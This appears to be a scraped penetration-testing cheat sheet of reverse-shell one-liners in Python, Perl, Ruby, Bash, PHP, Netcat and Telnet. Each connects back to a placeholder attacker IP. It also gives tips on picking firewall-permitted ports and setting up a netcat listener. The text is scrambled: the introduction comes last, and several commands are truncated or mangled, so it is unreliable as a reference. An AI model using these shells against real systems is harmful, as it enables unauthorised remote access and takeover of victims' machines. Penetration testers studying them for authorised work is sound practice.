![]() P.waitFor() Python Reverse Shell python -c 'import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("ATTACKING-IP",80)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call() ' Gawk Reverse Shell #!/usr/bin/gawk -f Perl Reverse Shell perl -e 'use Socket $i="ATTACKING-IP" $p=80 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) if(connect(S,sockaddr_in($p,inet_aton($i)))) ' Ruby Reverse Shell ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)' Java Reverse Shell r = Runtime.getRuntime() ![]() Remember to listen on 443 on the attacking machine also. If it doesn't work, try 4,5, or 6) Netcat Reverse Shell nc -e /bin/sh ATTACKING-IP 80 /bin/sh | nc ATTACKING-IP 80 rm -f /tmp/p mknod /tmp/p p & nc ATTACKING-IP 4444 0/tmp/p Telnet Reverse Shell rm -f /tmp/p mknod /tmp/p p & telnet ATTACKING-IP 80 0/tmp/p telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443 While read line 0&5 >&5 done bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 PHP Reverse Shell php -r '$sock=fsockopen("ATTACKING-IP",80) exec("/bin/sh -i &3 2>&3") ' Bash Reverse Shells exec /bin/bash 0&0 2>&0 0/dev/tcp/ATTACKING-IP/80 sh &196 2>&196 exec 5/dev/tcp/ATTACKING-IP/80 If you’re attacking machine is behing a NAT router, you’ll need to setup a port forward to the attacking machines IP / Port.ĪTTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above). To setup a listening netcat instance, enter the following: nc -nvlp 80 Use a port that is likely allowed via outbound firewall rules on the target network, e.g. Set your Netcat listening shell on an allowed port Your remote shell will need a listening netcat instance in order to connect back. At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux. A reverse shell, also known as a remote shell or “connect-back shell,” takes advantage of the target system’s vulnerabilities to initiate a shell session and then access the victim’s computer.ĭuring penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.īelow are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc).
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